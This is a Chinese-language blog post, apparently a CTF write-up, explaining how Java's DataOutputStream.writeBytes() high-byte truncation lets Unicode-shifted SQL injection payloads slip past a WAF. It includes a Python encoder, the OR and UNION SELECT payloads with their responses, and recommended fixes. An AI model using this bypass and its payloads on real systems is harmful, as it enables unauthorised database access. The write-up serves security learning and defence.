Ghost Bit SQL 注入绕 WAF

1477 字
7 分钟
Ghost Bit SQL 注入绕 WAF

简介#

群友给的一道题,是 sql 注入的题,主要是学习一下最近出的新手法——Java 比特位溢出绕 WAF

不太懂的可以看一下:【WAF集体沦陷】Java “幽灵比特位”(Ghost Bits)引发的新型 WAF 绕过与注入攻击

一个内部服务搜索系统,配有WAF防护。搜索框支持模糊查询,输入关键词即可搜索服务列表。WAF拦截了所有已知的SQL注入攻击向量,但似乎遗漏了什么……

看起来是 like 查询

image
image

正常请求:

GET /search?q=a HTTP/1.1

返回:

{
"items": [
{
"name": "Admin Panel",
"description": "System administration interface",
"id": 1,
"category": "System"
},
{
"name": "Flag Manager",
"description": "Feature flag management service",
"id": 3,
"category": "DevOps"
},
{
"name": "User Auth Service",
"description": "Authentication and authorization",
"id": 4,
"category": "Security"
},
{
"name": "DataSync Module",
"description": "Real-time data synchronization",
"id": 5,
"category": "Module"
},
{
"name": "API Gateway",
"description": "Request routing and rate limiting",
"id": 6,
"category": "Infrastructure"
},
{
"name": "Cache Layer",
"description": "Distributed caching service",
"id": 8,
"category": "Infrastructure"
},
{
"name": "AAA Framework",
"description": "Authentication Authorization Accounting",
"id": 9,
"category": "Security"
},
{
"name": "Task Scheduler",
"description": "Cron job management platform",
"id": 10,
"category": "DevOps"
}
],
"status": "success"
}

解题思路#

  1. 尝试传统注入,均被 waf 拦截
GET /search?q=a' => 403
GET /search?q='OR'1'='1--
GET /search?q='OR%201=1
GET /search?q=a'

查看 WAF 规则, 发现拦截了

  • 所有SQL关键字(OR, AND, UNION, SELECT, FROM, WHERE等)
  • 所有特殊字符(引号、括号、等号、注释符等)
  • URL编码(3层解码后检测)
  • 宽字节注入(%bf%27等)
  • 双写绕过(OORR, SESELECTLECT等)
  • 注释绕过(去除注释后重新检测)
  1. 仔细分析 WAF 逻辑,发现一个特殊分支

当输入全部由非ASCII字符(Unicode码点 ≥ 0x80)组成时,WAF直接放行,不做任何黑名单检测。

boolean isAllNonAscii = true;
for (char c : input.toCharArray()) {
if (c < 0x80) {
isAllNonAscii = false;
break;
}
}
if (isAllNonAscii) {
return true; // 直接放行!
}

同时 WAF 末尾还有一层检测

for (char c : input.toCharArray()) {
if (!Character.isLetterOrDigit(c) && c != '_') {
return false;
}
}

这意味着混合ASCII和非ASCII的输入中,非字母数字的ASCII字符会被拦截。但如果输入全是非ASCII字符,则绕过所有检测。

  1. 分析源码发现查询参数经过一个 serializeAndDeserialize 序列化管道处理,QuerySerializer 实现了二进制协议的序列化/反序列化,用于查询数据的传输管道。
public class QuerySerializer {
private static final byte PROTOCOL_VERSION = 0x01;
private static final byte MSG_TYPE_QUERY = 0x02;
public static String serializeAndDeserialize(String input) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeByte(PROTOCOL_VERSION);
dos.writeByte(MSG_TYPE_QUERY);
dos.writeInt(input.length());
dos.writeBytes(input); // 关键漏洞点!
dos.flush();
byte[] data = baos.toByteArray();
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
dis.readByte();
dis.readByte();
int len = dis.readInt();
byte[] queryBytes = new byte[len];
dis.readFully(queryBytes);
return new String(queryBytes, StandardCharsets.UTF_8);
}
}

java.io.DataOutputStream 是 JDK 标准库的真实方法,它将每个 char 强制转换为 byte,即只保留低8位,高8位被丢弃。

public final void writeBytes(String s) throws IOException {
int len = s.length();
for (int i = 0 ; i < len ; i++) {
out.write((byte)s.charAt(i)); // 强制转byte,截断高字节!
}
}

这种模式在真实项目中广泛存在:

  • Oracle Tuxedo/Jolt 客户端使用 dout.writeBytes(inString) 处理网络传输
  • RandomAccessFile.writeBytes() 用于文件写入
  • Netty 的 ByteBufOutputStream 实现了 DataOutput 接口,同样有此方法
  • 自定义二进制协议/序列化中实现 Externalizable 接口时的常见用法

这意味着:

输入字符Unicode码点二进制writeBytes输出截断后
AU+00410x00410x41A
ĀU+01000x01000x00NUL
āU+01010x01010x01SOH
łU+01420x01420x42B
ŃU+01430x01430x43C
ŏU+014F0x014F0x4FO
ŕU+01550x01550x55U

核心原理:将每个ASCII字符的码点加上 0x0100 ,得到对应的Unicode字符。这些字符的码点 ≥ 0x80,WAF直接放行;但经过 writeBytes() 处理后,高字节被截断,还原为原始ASCII字符,构成有效的SQL注入语句。

  1. 构造 payload

编码函数:将每个字符的码点 +0x0100

def encode(payload):
result = ""
for char in payload:
result += chr(ord(char) + 0x0100)
return result
  1. 验证注入

原始payload:' OR '1'='1

编码后发送请求,WAF检测:输入全部为非ASCII字符 → 放行

后端处理:writeBytes() 截断高字节 → 还原为 ' OR '1'='1

SQL执行:

SELECT id, name, description, category FROM items
WHERE LOWER(name) LIKE '%' OR '1'='1%'

返回所有10条记录,注入成功。

GET /search?q={encode(payload)}

返回

{
"items": [
{
"name": "Admin Panel",
"description": "System administration interface",
"id": 1,
"category": "System"
},
{
"name": "Test Environment",
"id": 2,
"category": "DevOps"
},
{
"name": "Flag Manager",
"description": "Feature flag management service",
"id": 3,
"category": "DevOps"
},
{
"name": "User Auth Service",
"description": "Authentication and authorization",
"id": 4,
"category": "Security"
},
{
"name": "DataSync Module",
"description": "Real-time data synchronization",
"id": 5,
"category": "Module"
},
{
"name": "API Gateway",
"description": "Request routing and rate limiting",
"id": 6,
"category": "Infrastructure"
},
{
"name": "Log Collector",
"description": "Centralized log aggregation",
"id": 7,
"category": "Monitoring"
},
{
"name": "Cache Layer",
"description": "Distributed caching service",
"id": 8,
"category": "Infrastructure"
},
{
"name": "AAA Framework",
"description": "Authentication Authorization Accounting",
"id": 9,
"category": "Security"
},
{
"name": "Task Scheduler",
"description": "Cron job management platform",
"id": 10,
"category": "DevOps"
}
],
"status": "success"
}
  1. 获取 flag

原始payload:' UNION SELECT 1,flag,'x','x' FROM flags--

编码后发送请求,WAF放行,后端还原为:

SELECT id, name, description, category FROM items
WHERE LOWER(name) LIKE '%' UNION SELECT 1, flag, 'x', 'x' FROM flags--%'

-- 注释截断了末尾的 %',SQL有效执行。

返回:

{
"status": "success",
"items": [
{
"id": 1,
"name": "flag{y0u_f0und_th3_h1dd3n_byt3s!}",
"description": "x",
"category": "x"
}
]
}

漏洞原理总结#

用户输入 (全非ASCII Unicode)
┌─────────────────────────────┐
│ WAF 检测 │
│ 所有字符 ≥ 0x80 │
│ → isAllNonAscii = true │
│ → 直接放行,不做黑名单检测 │
└─────────────────────────────┘
┌─────────────────────────────────────┐
│ QuerySerializer (二进制协议管道) │
│ DataOutputStream.writeBytes() │
│ (byte)s.charAt(i) │
│ 截断char高字节 │
│ U+01XX → 0xXX │
│ 非ASCII → ASCII │
└─────────────────────────────────────┘
┌─────────────────────────────┐
│ SQL LIKE 拼接 │
│ 还原后的ASCII字符构成 │
│ 有效的SQL注入语句 │
└─────────────────────────────┘

核心问题: DataOutputStream.writeBytes() 是JDK标准库的真实方法,在将 char 转为 byte 时会丢失高字节信息。这种序列化模式在真实项目中广泛使用(二进制协议、网络传输、文件IO等)。攻击者利用这一特性,将SQL关键字编码为高码点Unicode字符绕过WAF,再由 writeBytes() 还原为有效SQL。

修复方案:

  1. 使用 writeUTF() 替代 writeBytes()writeUTF() 会正确处理UTF-8编码
  2. 在WAF中先对输入进行与后端相同的字符编码转换处理后再检测
  3. 使用参数化查询(PreparedStatement)从根本上防止SQL注入

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Ghost Bit SQL 注入绕 WAF
https://blog.freeaes.com/posts/ghostbitsql-zhu-ru-rao-waf/
作者
Nevolar
发布于
2026-08-22
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
Nevolar
一个平平无奇的网络安全爱好者
月夜之下,唯有你我
分类
标签
最新动态
站点统计
文章
9
分类
7
标签
9
总字数
13,261
运行时长
0
最后活动
0 天前